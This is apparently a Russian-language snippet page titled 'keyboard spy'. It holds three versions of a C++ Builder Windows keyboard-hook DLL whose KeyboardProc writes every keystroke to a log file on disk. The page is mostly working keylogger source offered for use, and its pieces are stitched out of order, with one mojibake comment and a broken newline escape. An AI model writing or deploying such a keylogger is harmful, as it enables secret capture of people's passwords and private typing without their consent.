Клавиатурный шпион

//-----------------------------------------------------------------------------
extern "C"_declspec(dllexport)LRESULT CALLBACK
KeyboardProc(int code,WPARAM wParam, LPARAM lParam);
//-----------------------------------------------------------------------------
 
//-----------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
   {
     FILE *f; //óêàçàòåëü íà ôàéë
     if((f=fopen("C:\\logfile.log","a"))!=NULL)
        {
         fputc(MapVirtualKey(wParam,2),f);
         fclose(f);
        }
     return CallNextHookEx(NULL,code,wParam,lParam);
   }

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
 
FILE *f;
if(code == HC_ACTION &&!(HIWORD(lParam) & KF_UP))
{
BYTE keyarray[256] ;
if(GetKeyboardState(keyarray))
if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
buffer[0]=' ';
 
switch ((char)wParam){
case VK_ESCAPE:
strcpy(buffer,"<ESC>");
break;
case VK_RETURN:
strcpy(buffer,"<RETURN>rn");
break;
} 
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
 
fputc(buffer[0],f);
fclose(f);
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}

#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
char buffer[256];
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
 
// "Шпионская" функция
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
    FILE *f; // Указатель на файл
 
    if(code == HC_ACTION &&!(HIWORD(lParam) & KF_UP))
    {
        BYTE keyarray[256] ;
        if(GetKeyboardState(keyarray))
            if(!ToAscii(wParam,(HIWORD(lParam)&(0x0000FFFF)), keyarray,(WORD*)&buffer[0],NULL))
                buffer[0]=' ';
 
        switch ((char)wParam)
        {
            case VK_ESCAPE:
                strcpy(buffer,"<ESC>");
                break;
            case VK_RETURN:
                strcpy(buffer,"<RETURN>rn");
                break;
        }
    // Открываем файл с логом на добавление, если его нет – создаём
 
        if((f=fopen("1.log","a"))!=NULL)
        {
            fputc(buffer[0],f);
            fclose(f);
        }
        else
            ShowMessage("Хрень!!!");
    }
 
    /* Перед выходом из функции – вызываем
    нормальный обработчик
    сообщений от клавы (что толку от шпиона,
    если остальные
    проги перестанут на клаву реагировать ? :)
    */
    return CallNextHookEx(NULL, code, wParam, lParam);
}
 //————————–
// Функция входа в DLL – её не оставляем как есть
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
    return 1;
}